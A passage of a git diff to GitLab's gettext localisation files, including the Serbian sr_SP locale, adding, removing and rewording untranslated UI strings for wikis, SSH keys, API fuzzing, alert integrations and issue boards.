@@ -34042,9 +34885,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -34057,9 +34897,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -34120,6 +34957,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34276,6 +35116,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34417,6 +35263,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34501,9 +35350,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34540,12 +35386,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34579,7 +35419,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34594,9 +35434,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34780,12 +35617,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34906,6 +35749,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34999,7 +35845,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -35107,6 +35953,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35410,6 +36259,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35599,6 +36457,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35770,7 +36631,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35806,13 +36667,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35926,9 +36784,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -36079,18 +36934,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -36121,9 +36970,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36190,15 +37036,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36481,9 +37318,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36529,6 +37363,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/sr_SP/gitlab.po b/locale/sr_SP/gitlab.po
index ef639de6773..beda1621a2d 100644
--- a/locale/sr_SP/gitlab.po
+++ b/locale/sr_SP/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: sr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:58\n"
+"PO-Revision-Date: 2021-04-02 00:20\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -130,6 +130,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -229,6 +235,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -451,6 +463,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -463,6 +478,12 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -490,21 +511,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "%{count} more"
msgstr ""
@@ -601,7 +610,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -1006,6 +1015,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1141,6 +1153,9 @@ msgstr[2] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1228,6 +1243,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1252,6 +1273,18 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1264,6 +1297,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1294,6 +1333,18 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1411,9 +1462,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1423,13 +1471,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1504,9 +1549,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1525,13 +1567,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1543,6 +1597,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1555,16 +1612,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1573,16 +1633,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1615,9 +1675,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1795,6 +1852,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1825,12 +1885,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1876,6 +1930,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1951,6 +2008,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1978,9 +2038,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -2008,6 +2065,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -2026,6 +2086,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2119,6 +2182,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2146,6 +2212,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2287,9 +2356,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2725,6 +2791,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2773,6 +2845,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2935,6 +3010,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2950,13 +3031,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2965,25 +3049,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2998,24 +3085,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -3025,6 +3124,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -3034,9 +3136,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -3073,7 +3172,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3163,9 +3265,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3229,6 +3328,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3256,6 +3358,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3313,6 +3418,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3436,6 +3544,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3448,9 +3559,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3541,7 +3649,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3679,9 +3787,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3883,6 +3988,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3910,6 +4018,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3919,6 +4030,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3928,9 +4042,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4069,6 +4180,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4129,6 +4246,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4171,13 +4294,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4606,6 +4729,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4708,6 +4834,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4726,6 +4855,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4750,7 +4882,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4885,6 +5017,9 @@ msgstr[2] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4915,6 +5050,12 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4924,9 +5065,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4945,6 +5083,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4954,6 +5095,12 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4966,6 +5113,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4996,6 +5152,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5302,15 +5461,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
